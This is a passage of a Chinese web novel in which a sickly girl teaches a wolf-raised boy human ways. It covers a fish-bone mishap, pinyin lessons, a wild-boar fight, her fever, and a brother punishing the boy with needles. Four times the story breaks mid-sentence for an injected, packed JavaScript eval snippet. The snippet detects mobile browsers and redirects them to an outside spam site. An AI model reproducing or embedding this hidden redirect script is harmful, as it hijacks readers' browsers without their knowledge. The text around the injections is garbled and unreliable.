听到这话,刘白条件反射坐好,手放在大腿上。 “下次饿了,你们就先吃,不用等我也行。”徐康荣推着轮椅过来。 “不行,家人在,一起吃,这是规矩。”徐知画反驳道。 “行,那我们动筷吧。”徐康荣觉得龟妹很有教养,听着心里也美滋滋的。 “嗯。”徐知画又敲了敲刘白的手背,边说边教他怎么将鱼刺挑出来,“鱼刺,不能吃,挑出来,懂?” 刘白听懂了【不能吃】和【懂】,徐知画很多时候都说不能吃,但有时他吃下去也没事,所以这次也并没有放在心上,想着照吃不误,不过还是点点头,回道:“懂!” 见徐知画示意可以动筷吃了,饿极了的刘白下意识想开启风卷残云模式,“慢点吃”这三个字倏地砸过来,刘白清醒了点,放慢进食的速度,尽量保持着优雅。 徐康荣好笑地看着这一幕,朝徐知画竖起大拇指,说:“龟妹,你不当老师可惜了。” “我才不想当老师。”徐知画叹了口气,再这样教下去,乳腺结节很快就会找上她。 徐康荣:“不过我还是很好奇,你为什么会对他这么上心?” “我来到这里,上天指示我说要将他培养成才,方得圆满,不然不得善终。”徐知画故作神秘,胡诌道,“诶呀,就当我是爱心泛滥,看他可怜,想见证他从狼变成人行不行?” “行行行,可不要再说什么不得善终的话。”徐康荣提醒道,“这话你可不要说给妈听,她会当真的。” “知道啦,吃饭吃饭。”徐知画说。 “啊——呜——” 突然,刘白捂住了脖子,难受得吞咽着。 “你看你看,才刚教你吃鱼要挑刺,你是不是又没听,什么都想吃,你以为你是金刚喉咙啊。”徐知画边说边走过去,掰开他的嘴巴看。 “康荣哥,怎么办?”徐知画仔细瞧了瞧,没看见鱼刺在哪里。 徐康荣:“你让他尝试咳一咳,看能不能咳出来。” “不知道他会不会咳哦。”徐知画嘟囔着,“这还没教他呢。” “刘白!看我!咳咳——咳咳——”徐知画轻轻咳着。 刘白没看懂。 刘白没理会。 看着他难受得在地上打滚,徐知画着急得跺脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563782|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“怎么办怎么办?还有什么办法?” “别着急,我还有一法。”徐康荣吩咐道,“你去倒半碗温水过来。” “然后呢?”徐知画倒好了水。 “给我。”徐康荣接过碗,接着将一双筷子像十字架一样放在碗上,然后凭空画符,嘴里念叨着:“此碗化为东洋大海,咽喉化为万丈龙潭,九龙归洞,吾奉太上老君,急急如律令。”① “顺时针让他喝下每个分隔里的水。”徐康荣将碗推过去说道。 “啊?这样能行吗?”徐知画看他又是做法又是念咒,心里没底。 “试试。”徐康荣伸手帮忙摁住刘白。 “刘白!喝!”徐知画示范了一次。 刘白看明白了,学着她的样子顺时针一隔一隔大口大口地喝着水。 见他喝得差不多了,徐康荣松开手。 两人一眨不眨地看着刘白,都想知道有没有成效。 刘白试着吞咽了几下,感觉不到疼,欢喜地笑了,学着徐知画表扬他的样子,竖起了大拇指:“真——棒!” 徐康荣和徐知画松了口气。 刘白是不想再吃鱼了。 徐知画好奇地问道:“刚刚是什么原理?好神奇。” “这是祝由术里的九龙化骨水,想学我教你。”徐康荣对上她崇拜的眼神,不好意思地笑了笑。 “好啊好啊。” * 饭饱喝足后,休息了一会儿,徐知画将刘白拉到桌前坐下,说:“来,现在我们开始学习拼音。” 徐知画指着纸上的【a】,放慢语调:“跟我念,ā,á,ǎ,à。” 刘白:“ā,á,ǎ,à。” “眼睛看哪里?”徐知画食指叩了叩桌面提醒,“ā,á,ǎ,à。” 刘白:“ā,á,ǎ,à。” “这个怎么读?”徐知画将食指点了点á。 刘白:“ā,á,ǎ,à。” 徐知画翻了个白眼,教道:“á。” “á。” 徐知画将四个声调打乱,重新带读,让他注意每个声调的发音。 然而每次不带读他就张冠李戴,读得乱七八糟,蠢!太蠢了! 遥想当年刘白学拼音时,每堂课都是被老师表扬的那个,还让他当组长带领大家读的。 徐知画耐心告罄,声调简直是咬牙切齿了:“ā,à,ǎ,á。” 刘白害怕地抖了抖:“ā,à,ǎ,á。” 下一秒再打乱顺序让他读时,他又乱读一通。 徐知画忍无可忍,猛地一拍桌子:“很难吗?就四个声调,你睁大眼睛看看,它头上戴的是哪顶帽子,这是有区别的,真是……你真是要气死我!” “你还瞪我!你的脑子呢!”徐知画将纸拍到他的脸上,“你看清楚!专心一点!不要给我乱读!” “龟妹,别气到自己了。”徐康荣提议道,“放一只羊是放,放两只羊也是放,我看你教的拼音还挺有意思,能不能让狗岁也跟着你学习?识字的话,以后的选择也会多一些。” “可以啊。”徐知画说,“只要他愿意来学的话。” “你去劈柴!”徐知画现在也没心情教下去了,没好气道。 刘白收到信号,唯恐下一秒她会后悔般,溜得飞快。 他是宁愿劈柴都不愿跟着她学习。 15. 病秧子X狼少年 日月更替,时光悄悄流逝着。 伴随着公鸡的啼叫,太阳升起来了。 “早。”徐知画睡眼惺忪地跟家人打着招呼,迷迷糊糊着去刷牙洗脸。 直到坐上饭桌准备吃早餐,感觉有点不太对劲,四周望了望,徐知画问道:“刘白呢?” “刘白?早上起来我就没看到他的身影。”蔡淑芬说。 “我也没看到。” “我起来时,他已经不在房间了。”和他睡同一间屋的徐家荣说道。 再看其他人,都是摇头说没见到。 “刘白不见了?” 犹如一道惊雷落下,徐知画心漏跳了半拍,脑子有一瞬间是空白的。 徐知画惊慌失措地在屋里屋外角角落落找起来:“刘白!刘白!” “刘白!你赶紧出来,要不要吃糖?”徐知画急得像热锅上的蚂蚁,呼唤道,“刘白,吃早餐了!” “你别着急,我们大家一起找。”蔡淑芬看着她找不到刘白好像失魂落魄了般,看来刘白对她的意义比想象中还要重要。 “刘白不会跑回万兽山的狼窝了吧?”狗岁说。 “不会吧,他都在我们家住这么久了,之前没绑着也没见他跑。”徐家荣说,“我看他也是想融入人类生活的。” “那他会去哪儿呢?”蔡淑芬问,“也没带他去大队逛过,会不会一时好奇跑出去,找不到回家的路了?” “我出去找他。”徐知画冲出门外。 “那一起去吧。”蔡淑芬当机立断,“孩子他爸,你先去跟大队长说一声,今天没找到刘白就不去上工了。” “行。”徐天瑞说。 除了徐康荣呆在家,其他人兵分几路。 徐知画和蔡淑芬一组,找着找着,两人来到了万兽山脚下。 “我要上山去找。”徐知画说。 “要不等你爸过来,我们再一起上山。”蔡淑芬想想又摇头,“山上危险多,你身子弱,要不你还是在山下等我们吧。” “不要,我可以的,多一个人,多份力量。”徐知画坚决地往山上走去,“我一定可以找到他回来。” “行!那我陪你。”蔡淑芬知道劝不动她,只好在旁边跟着。 “刘白!你在哪里?” “刘白!快回来!” “刘白……” 两人边走边喊,然而山太大,她们是如此渺小。 随处可见古木参天,盘根错节,巨伞般茂密的树冠遮天蔽日,阵阵清风吹过,树影婆娑,虫鸣鸟叫好不欢快。 她们就像无头苍蝇一样,不知该往哪个方向才能找到刘白。 路是越来越难走了。 徐知画好几次被藤曼绊倒,被枝桠戳刺到身上,被突然吊下来的虫子吓到…… 所遇到的艰难险阻,徐知画硬是咬着牙坚持了下来,没找到刘白,她是不会回去的。 风起云涌,天空好像打翻了墨水,乌云黑沉沉地压下来,四周一下子暗下来,森林变得可怖,虫鸣鸟叫似是幽灵伴奏曲。 “看天是要下雨了,我们还是先回去吧。”蔡淑芬也感觉怕怕的,再次劝说道。 一想到回去万一就再也找不到刘白了呢?万一刘白就会出现在下一个路口呢? 现在打道回府,徐知画实在不甘心。 没等她犹豫太久,就在噼里啪啦的大雨中淋成了落汤鸡。 “我们先去躲雨吧。”蔡淑芬搀扶着她,四处张望,想找个山洞先避避。 衣服湿黏黏地贴在身上,凉意沁入骨髓,徐知画忍不住哆嗦了几下。 雨水模糊了视线,前进的步伐更加艰难了。 “等一下,那个是什么?”徐知画抹了一把滴落在眼皮的雨水,定了定睛,看清是什么后,倒吸了一口气,“野……野猪。” “野猪?”蔡淑芬打起精神,将徐知画护在身后,催促道,“你赶紧跑,跑得越远越好。” “要跑一起跑。”徐知画并不想独自逃生,而且野猪明显也发现了她们,跑是跑不过的,只能拼一拼了。 徐知画握紧了手中的木棍。 野猪似乎也在衡量着能不能打得过,一步一步慢慢走过来。 彼此的距离越来越近。 雨越下越大了,心跳快到要爆炸,徐知画此时只有一个想法,那就是如果野猪吃了自己的话,蔡淑芬就有时间逃跑了吧。 一道亮光划破天际,雷声轰鸣,大地感觉都颤了颤。 仿佛是吹响了战争的号角,瞳孔中,徐知画看着野猪一跃而起,飞奔过来,她猛地将蔡淑芬推倒,英勇地迎上去,高高举起木棍—— “不!”蔡淑芬看着这一幕,感觉心肝脾肺肾都惊得要裂开了。 “徐知画!” 话刚落,一道黑影自眼前闪过。 刘白仿佛从天而降般挡在前面,说时迟那时快,他狠狠地挥拳砸向野猪,拳头毫无章法,却杀意满满,打得野猪后退连连。 野猪发怒了,蹬了蹬腿,像颗炸弹一样冲过来,张开嘴,想将他吞吃入腹。 刘白拼力抵抗着,所有的精神力气凝聚在两手所抓住的上颌和下颚之间,一拉,一扭,再一拽,一个翻身,他骑在了野猪的背上,带有千钧之力的拳头再次砸下,一拳、两拳、三拳…… 野猪的眼鼻口耳迸发出鲜血来,混杂着雨水,冲刷着草地。 不知道过了多久,野猪被打得奄奄一息,出气多进气少,抽搐了几下,就没动静了。 雨还在继续下,却越来越小了。 鼻翼间弥漫着浓烈的血腥味,刘白下意识想享受战利品,刚把嘴凑到野猪身上,一声“刘白”唤醒了他的理智。 “刘白,不能吃!”徐知画朝他招招手,“刘白,过来。” 她看起来好狼狈,怎么会出现在这里呢?是来找他的吗?可是跟她回去要学这学那,不能这不能那,吃也吃不饱…… “你要吃糖吗?”徐知画从口袋中掏出一颗大白兔奶糖,诱惑道,“给你要不要?” “要。” 要吃糖。 刘白“嗖”一下来到身边拿走糖,迫不及待剥开糖纸塞进嘴巴里。 甜甜的,好吃。 吃完后还眼巴巴地看着她:“还要糖。” “回家给你。”徐知画唯恐他再次跑掉,拿出大灰狼哄小红帽的声音,柔声道,“回去再给你糖吃。” “龟妹啊,要不……要不还是离他远点吧。”蔡淑芬忐忑不安地说,想起刚刚看到他赤手打野猪,胆颤啊心惊,亏平时大家还对他吆来喝去骂来打去,原来他不是打不过,而是在默默忍受啊。 徐知画:“他对我还有用,我现在不会和他分开的。” 蔡淑芬后怕地拍了拍小心脏:“他刚才那样,你不害怕啊。” 怎么会不害怕呢,脚还软着呢,不过想起以前刘白的样子,徐知画就觉得现在的刘白也还存在着人性,他现在没有攻击她们就是最有力的证明。 “你看,他没有伤害我们,不用害怕的。”徐知画说。 “行,你开心就好。”蔡淑芬在心里求神保佑他是真的善。 徐知画:“我们走吧。” “等一下,这头猪可不能浪费了。”蔡淑芬看着刘白,指了指地上的野猪,问道,“你还有没有力气抬它回家?” 刘白站着不动,歪着脑袋看她,一副很是疑惑的样子。 “抬,回家。”蔡淑芬想着他听不明白,走过去使劲抬起野猪,却怎么都抬不动。 刘白看懂了,轻轻松松将野猪甩到背上,走在前面开路。 “哎哟,真不愧是狼养出来的孩子,这力量真是吓人。”蔡淑芬嘟囔着,打了个冷颤,“好冷,我们走快点。” 行走在这片森林里,刘白是如鱼得水,连背影都透着欢快。 而找到刘白后,徐知画上山的那股无畏坚毅之气散去了不少,细雨蒙蒙,深一脚浅一脚,下山的路真难走啊。 “刘白!走慢点!”徐知画喊道。 刘白回过头,看着她们狼狈慢悠悠的模样,很是嫌弃,这要是在狼群,是会拖后腿要被抛弃的份。 好在她们是人类,能靠自己的聪明才智谋取食物。 刘白现在当自己是要保护弱小的狼王,有时走快了,就会停下来等一等,始终保持着不远不近的距离,若是有猛兽袭击的话,也能及时解救她们。 快回到大队时,蔡淑芬示意刘白在一堆草垛前停下。 “若是被队上的人看到野猪,分到的肉塞牙缝都不够,先藏起来,天黑了叫你两个哥哥过来,一半留着吃,一半拿去卖。”蔡淑芬解释道。 刘白没听懂,只知道她要自己将这头猪丢下,他自是不肯放手。 一时之间,那些弯弯绕绕的,跟他说也说不通。 徐知画硬着头皮画大饼,吐字清晰地说:“回家,给你,吃糖,要不要糖?好多好多糖,都给你。” 徐知画张开双臂夸张地比划了一个圆那么大,触发关键字,这句刘白听明白了。 刘白喜欢吃糖,真的要给他那么多糖吗?听着想着真是让人心花怒放啊,甜甜的滋味仿佛还在口腔里回味着,于是学着她的样子画一个圈,欢喜道:“要吃糖,要吃好多、好多糖。” “那我们走吧。”徐知画牵着他的手欲往前走。 在野猪和糖两者之间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563783|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘白犹豫了一秒,还是糖比较吸引他,更重要的一点是,他还想学习怎么变成人,讨好徐知画的欢心很要必要。 她既然不想要野猪,那等半夜他再偷偷跑回来这里吃掉。 刘白暗暗想到。 这次也是饿极了,他才想着上山捕食猎物。 那头野猪他追踪了好久,正找时机下手呢,遇见她们是意料之外。 也还好及时遇见了她们,不然就凶多吉少了。 “你走慢一点!”徐知画拽了拽他的手,神色不悦。 她糟糕的情绪感染到了他。 刘白心里一紧,明明她看起来那么弱小,气势却又是那么强大,像以往很多个时刻那般,乖乖地低着头听训。 视线落到两人手上,她的手好小好软,皮肤光滑皮肤,一黑一白色差格外的突兀,他甚至不敢用力,生怕一捏就会捏碎。 她若感到不舒服和疼痛,肯定会拿起竹条追着他打,不让他好过。 刘白很明白这一点。 就像现在,哪怕他跟着她的节奏慢慢走了,但是遇到绊脚的草、糊了一脸的蜘蛛网、撞到身上的虫子等等,在他看到是微不足道不需在意的,徐知画偏还要责怪他,又用手拧他胳膊,她不开心,他也不能高兴。 真是霸道! 可恶! 刘白很不喜欢她这一点。 有朝一日,等他不需要她了,他一定要狠狠报复回来。 刘白再次想到。 那一边,蔡淑芬用草将野猪遮掩好后,小跑着跟上脚步。 离家越来越近,遇到的人也越来越多,蔡淑芬一一回应着打招呼。 “还好找到狼孩了,再不回来,大队长说要集结众人上山找你们了。”肥花婶说。 “可不是,这小子一声不吭跑回山去,急死我们这一家,还好找到了。”蔡淑芬说,“不跟你多说了,这湿衣服穿得难受,要赶紧回去换才行。” “记得煮点姜汤喝暖暖身子。”肥花婶关心道。 “好。” * 回到家,刘白就嚷嚷道:“糖,吃糖,要吃糖!” 急切得不行。 “吃吃吃,给你糖。”徐知画真是怕他了,回屋拿糖。 “不许跟进来!”徐知画在房间门口转身瞪了一眼,说,“等着!” 门“啪一下关上了。” 刘白撇撇嘴,但到底没敢闯进去,乖乖等着。 没一会儿,门打开,徐知画将五颗糖果塞到他手上:“只有这么多了。” 刘白愣了愣,瞪大了眼睛看着掌中的五颗糖,以为她忘记了,神情焦急,张开双臂比划着一个大圆,提醒道:“啊,啊,好多糖,给你,吃糖。” 是自己骗了她,徐知画不自在地摸了摸鼻子,没好意思看他的灼灼双眼,还摆出一副强势的样子,说:“先欠着,下次再给!” 刘白没有得到预想中的很多很多糖,被骗了不开心,但是回到人类的地盘,他也不敢多说什么。 “那你还要不要?”徐知画作势要拿回五颗糖。 刘白一躲,睁着大眼睛警惕地看着她,似乎没想到她竟是这样的人,出尔反尔。 他大声地回道:“要!” 说着自己躲到角落,一下子就把五颗糖干掉了。 徐康荣见到三人平安回来,悬着的心落下来,催促道:“灶里烧着热水,赶紧去洗个热水澡。” 蔡淑芬风风火火地拿起木桶,舀热水,再去缸里舀冷水兑成温水,提到冲凉房,喊道:“龟妹你先去洗,拿衣服过来就行了。” “你先洗吧。”徐知画说。 “还在磨磨蹭蹭什么,你这身体和别人不同,赶紧去赶紧去。”蔡淑芬进屋里推搡着她过去,“我平时干农活,多是风里来雨里去,强壮得很。” “我很快的。”徐知画不再客气,也隐隐感觉身体不太对劲。 没有条件像以前那样泡浴缸洗香香,徐知画囫囵冲洗了一下,就赶紧穿上衣服出来。 “衣服放这盆里,等下我一起洗。”蔡淑芬叮嘱道,“头发记得擦干。” 徐知画:“知道。” 经过院子时,匆匆一瞥,刘白穿着一条满是补丁的裤衩在雨中洗刷刷着身体,她不由得又多看了一眼。 想到以前,刘白有洁癖多清高,现在也是入乡随俗,有多土就多土。 徐知画在心中感慨着,回屋拿干毛巾擦拭着头发,渐渐的,身体感觉越来越冷,额头却烫得惊人,头重脚轻,好想睡觉。 【不能睡觉,这是发烧的前兆,要喝点热水缓缓,不能被发现了,不想吃药。】 徐知画晕晕沉沉地想着。 16. 病秧子X狼少年 “龟妹,来,喝药了。” 徐知画迷迷糊糊醒过来时,一勺苦兮兮的中药被递到嘴边,她下意识用手擦了擦嘴角。 “我不想喝药。”徐知画皱着眉头,将头偏到另一边。 要是能弄成药丸或者胶囊就好了。 “喝完这次,以后身体棒棒,就不用喝了。”蔡淑芬耐心地劝说着,“生病很难受对不对,你也不想一直难受吧,这次你二哥放了很多甘草进去,不会很苦。” 徐知画真的很抗拒,看了一眼黑乎乎的中药,生无可恋:“还是很苦,我多喝水睡一觉出汗了可能也会好的。” “姑姑羞羞羞,竟然害怕喝药。”狗岁探出头做了一个鬼脸,说,“奶奶你不用跟她多说,摁住她灌进去就可以了。” 听此,蔡淑芬意动了,跃跃欲试。 “妈,我摁住她,你灌。”徐家荣上前一步说道。 “你们不能这样。”看他们的架势,徐知画害怕地缩了缩,捂住嘴巴。 “我数三声,你不喝,我就喂你喝了。”徐家荣挑了挑眉,“3,……” 这威胁人喂药的方式真是一脉相承。 “我喝!”徐知画无奈道,“我等下喝,先放着吧。” 想着等下趁他们不注意,偷偷倒掉。 “不行,药要趁热喝,不然没那个效果。”蔡淑芬毫不犹豫地否决她的拖延。 “龟妹,请吧。”徐家荣像是看穿了她的心思,贱贱地笑着。 “喝就喝。”徐知画借力坐起来,拿过碗仰头喝了,“咕噜~咕噜~哕——” 好苦好难喝。 强行将那股恶心咽了下去,继续闷头喝。 终于喝完,徐知画忍不住抖了个激灵。 “那你好好休息。”蔡淑芬收回碗,掖了掖被角。 大家见状,也不再打扰她。 “这些糖给你,偷偷吃,被给狗岁看到了。”徐康荣走在最后,在她的枕头下塞了一捧糖果。 “谢谢。”徐知画不是一个不知好歹的人,不好意思道,“又给你添麻烦了。” “一家人不要说麻烦,你的身体,我会再想法子调理,希望能快点好起来。”徐康荣嘱咐道,“这几天注意不要着凉了。” “嗯嗯。” 徐康荣出了房间,看到刘白和徐安荣正在对峙着,一个也想进去看看,一个不让他进去看。 “嘘——” 徐康荣指了指屋内,做了一个睡觉的动作,小声驱赶道:“你们走远点闹,龟妹喝完药要睡觉了。” “走。”徐安荣推搡着刘白出去。 因为下雨,不用出工,一家人在屋檐下忙活着纳鞋垫、缝补衣服、编竹篮等,时不时就闲聊几句,颇有几分岁月静好的感觉。 徐安荣将一根竹子塞到刘白手上,让他学着用弯刀将分叉的枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13563784|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶竹箨劈掉,修整平滑竹节。 蔡淑芬看着他拿刀,一下就将竹子劈成两段,想到他上午徒手打野猪的场景,再联想猜测他会不会发狂发癫拿着刀将大家劈个十段八段肢体分离鲜血淋漓,想想就不由得冷汗直冒。 “安荣啊,还是不要把刀给他,让他自己在一旁玩吧。”蔡淑芬小心翼翼地说,语调特别温柔,唯恐惊怒了谁一般。 她以前对刘白可没什么好脸色,这巨大的反差让大家齐刷刷转头看过去。 “咳咳,不是跟你们说了嘛,他一个人,就能打死一头野猪,多恐怖!平时我们使唤他,他没还手,真是很给面子了,你们对他也客气点。”蔡淑芬不自然地说。 “可能那头猪刚好受伤才打不过他,我觉得我比他厉害。”徐安荣不服气,边说边翘屁股撞过去,兴奋道,“你看,我一屁股就能将他撞飞。” 刘白冷不丁被撞了个趔趄,习以为常地没管徐安荣,还拿着竹子研究着,怎么刚才就劈不出别人劈的样子呢。 看到这一幕的众人:…… 徐家荣说:“他有分寸的。” “反正看到不对头,你们离他远点。”蔡淑芬又冲着徐安荣厉声警告道,“你不要总去招惹他!” “别太担忧。”徐天瑞说,“就当他是个力气大点调皮点的孩子,没事的。” 蔡淑芬哼了哼:“但愿如此,以后都能好好相处吧。” 17. 病秧子X狼少年 当清晨的第一缕阳光从窗棂投射进来,屋子亮堂起来,徐知画醒过来了。 在床前守候着的祝安原本担忧的眼神一下子转为欣喜,将搭在她额头的湿毛巾拿开,手掌伸过去摸了摸,感受到烧退下去了,露出一个笑容来。 鼻子不通气,喉咙肿痛,脑袋晕沉,徐知画甚至感觉疼痛渗进骨头缝里,全身发软发疼,好似阎王殿走了一遭。 “水~好渴~~咳咳——” 一出声就是公鸭嗓,轻轻一咳带动五脏六腑都发疼。 难受,太难受了!这体格实在是太弱! 徐知画是空有一颗大展宏图心,却无身强力壮身。 祝安赶紧倒来一杯温开水,慢慢喂给她喝。 * 今天一大早,蔡淑芬煮了青葱瘦肉粥、红烧肉和黄豆炖猪蹄,大家难得敞开肚皮吃,刘白更是吃得胃都顶得慌,不得不承认,这烹饪过的食物更诱人更美味。 刘白再次暗喜,能成为人类真是太好了! 他以后也要学怎么做出更美味的食物。 而视线一转,对面徐知画端着一碗黑乎乎的中药喝得眉头直皱,好不可怜的样子。 刘白想起之前受伤时,喝过类似的中药,人类的食物也不是每样都好吃,他以后可不要喝这些。 每次吞咽像是给喉咙上酷刑,徐知画没胃口,没吃几口东西,就让祝安帮忙把躺椅和被子搬出院子,她像茧一样包裹得紧紧的躺在上面,沐浴着和熙的阳光,昏昏欲睡。 刘白觉得徐知画快要死了。 他很不习惯看到这样的徐知画。 现在的她那么虚弱,精神萎靡的样子让刘白想起了之前认识的一个狼崽,也是差不多这样的症状,什么食物都吃不下,不吃不喝几天后,就死掉了,尸体腐烂,臭气熏天。 伤心不过一秒,刘白望了望四周,现在院子里就剩两人,他的心思活络起来。 死了好啊。 她快要死真是太好了! 她死了,他就不用再被逼着学习那些ā,á,ǎ,à之类的拼音,也不用再被要求这要求那了。 他可以像狗岁一样,干干活吃吃玩玩就度过一天。 刘白慢慢靠近,蹲在她的身旁,鼻子嗅了嗅,虽然不喜欢闻那股浓郁的药味,但她看起来还是很好吃,肉质白嫩,烹饪后味道肯定更鲜美。 灼热的视线落到她的脖颈上,这是他第一次见就想咬断的地方,在她断气之前,趁血还温热,猛猛一吸,那味道一定是世间一绝。 想想他就热血沸腾。 【吃了她!吃了她!吃了她!吃了……】 这一刻,刘白只有一个念头。 她现在那么脆弱,肯定无力反抗,刘白的喉结不自觉上下滚动了几下,越靠越近,越靠越—— “刘白,你想干什么?” 冷不丁对上一双通红潋滟的眼睛,刘白心头一个激灵,理智回笼,做贼心虚般学着别人的样子,给她掖了掖被子。 “刘白,你今天还没早读,不要想着偷懒。”徐知画不忘督促道,“去,拿书。” 徐知画现在的样子太弱了,连拿竹条的力气都没有,刘白才不怕她,还挑衅地甩甩头吐了吐舌头。 平时越不让他干什么,他现在就越想干什么。 拿书? 刘白回屋将徐知画编写到一半的书拿出来,当着她的撕了稀巴烂。 他讨厌这书! 不想学这书! 可算让他找到机会撕掉了。 “不要……咳咳……刘白,不要撕……咳咳……”徐知画气得想拍扁他,试图撑起身子,然而手还没碰到他的衣服,额头被他手一戳,又倒躺了下去,喘不过气来。 “龟妹!”徐康荣推着轮椅出来,看到这一幕,心脏一紧,喊道,“祝安,快过来扶龟妹回屋!” 徐康荣拿过徐知画的手,在腕横纹上两寸,边用大拇指去掐按揉着内关穴,边观察着她的面色。 本在屋子收拾东西的祝安听到喊声,以最快的速度冲出去,搀扶起徐知画。 “小心点,毛手毛脚的,不要将人摔了!”看着要撞上门框了,徐康荣没好气道。 祝安紧咬牙关,动作更加小心扶着走。 刘白愣愣地看着他们的背影,想了想,也跟上前看。 “刺针呢?赶紧拿刺针过来。”徐康荣看向祝安。 放下徐知画平躺好,祝安又冲回屋找刺针,一阵劈里啪啦什么东西摔下的声音响起,接着“咚咚咚”的脚步声越来越近。 祝安出现在面前,将刺针递过去。 “笨手笨脚!都这么大的人了,走路还会摔倒,呵。”徐康荣瞥见她擦伤的手腕,又骂了一句。 祝安没理会他的嘲讽,帮忙按揉着徐知画的穴位。 徐康荣也将注意力放在徐知画的身上,仔细针灸着。 慢慢的,徐知画感觉心慌和喘憋的情况有所缓解,不那么难受了。 刘白若有所思地看着,还是觉得神奇,这怎么做到的呢? 那细细长长的是什么东西?就那么扎几下,她又活过来了? 想学。 “龟妹,是不是他气你?”徐康荣指着刘白问。 刘白知道自己做错了事,眼神闪躲着低下头。 “他将我写好的书撕了。”徐知画说起来还是很生气,不过尽量克制着情绪,冷冷道,“今晚不给他饭吃。” “好。”徐康荣温和地冲徐知画笑笑,但再看向刘白时一抹阴骘闪过。 当天下午,徐家荣从外面下工回来,被徐康荣拉过去密谋了一番,诱骗刘白来到屋后,绑起来,塞住嘴。 刘白不知道他们为什么上一秒还和颜悦色,这一秒就横眉立眼了,对危险的警觉让他不安地往后缩。 想逃离。 “你逃不掉的。”徐康荣阴恻恻地笑着,从布包中掏出刺针,轮椅慢慢逼近,缓缓道,“都怪你,三番两次气到龟妹,今天一定要给你个教训。” 针扎到哪个部位最疼,却不会危害到生命,又能让对方感受到撕心裂肺的疼痛,他最懂了。 冒着寒光的刺针刺向自己,刘白不寒而栗,却被徐家荣牢牢地摁住,挣脱不得。 “唔—唔唔——呜————” 一针接着一针扎下,刘白痛得面部扭曲,四肢痉挛,每一次呼吸都伴随着剧烈的痛感,哪哪都疼。 “别玩出人命来,龟妹还稀罕着他呢。”徐家荣见状,提醒道。 “真不知道龟妹看中他什么。” 半晌,徐康荣收起针,满意地看着他狼狈痛苦的模样,指尖挑起他的下巴,拍了拍他的脸,说,“下次龟妹让你做什么,就做什么,不要惹她生气,知道了吗。” 想到他的攻击性和暴力性有点强,徐康荣又灌了他一碗能使人变虚的药。 刘白知道他是给徐知画出气,抖着身子,悔不当初,早知道就不气她了,也还好没有咬死她,不然现在死的是自己了。 刘白再一次认清徐知画在这家中的地位。 以后是万万不敢惹她。 谨记谨记。 * 吃晚饭的时候,刘白孤零零地缩在墙角,一副精神不振的样子,徐知画还是拿碗装了一些饭菜给他。 “呐,吃吧。” 刘白抬起头看了看徐知画,又望了望饭桌上的其他人,见没有异议,才伸出手去接,细嚼慢咽。 “怎么那么乖?你也病了?”徐知画摸了摸他的额头,疑惑道,“没发烧啊。” “我今天打了他一顿。”徐家荣哼哼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582981|142840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谁叫他惹你生气。” 徐知画掀起他的上衣看了看,没见有红痕,想着也就意思意思教训一下,说:“是该打一顿。” “龟妹,不用管他那么多。”蔡淑芬边嚼着饭边说,“吃完饭还有事要你配合。” “什么事?” “到时你就知道了。”蔡淑芬含糊着说。 “哦。”徐知画没再打听。 饭后歇息了半个小时,蔡淑芬提着一桶水到冲凉房,说:“龟妹,你先去洗澡吧。” “这是什么水?”徐知画闻着有股清香飘来,沁人心脾。 “加了点艾草黄皮柚子叶进去,一洗病气,二保平安,三驱邪避秽。”蔡淑芬解释道。 听着这水很是了不起啊。 “快点洗,等会水凉了。”蔡淑芬催促道,“洗完来客厅找我。” 想着她不会害自己的闺女,徐知画被勾起了几分好奇心。 没有沐浴露,用这洗澡还挺好闻。 徐知画洗完澡出来,见一个两个站在门口四处眺望着。 “看什么?”徐知画也探头过去张望道。 “看有没有人经过。”徐家荣将她的头扭回去,说,“妈在客厅里等你。” 神神秘秘。 徐知画推门进去,一股檀香味扑鼻而来,客厅里烟雾缭绕。 一个身材丰腴的妇女头上戴着红抹额,一身红花裙子在咿咿呀呀唱跳着什么,怪异的曲调和舞蹈格外瘆人。 “龟妹快过来。”蔡淑芬猛地一下把门关上。 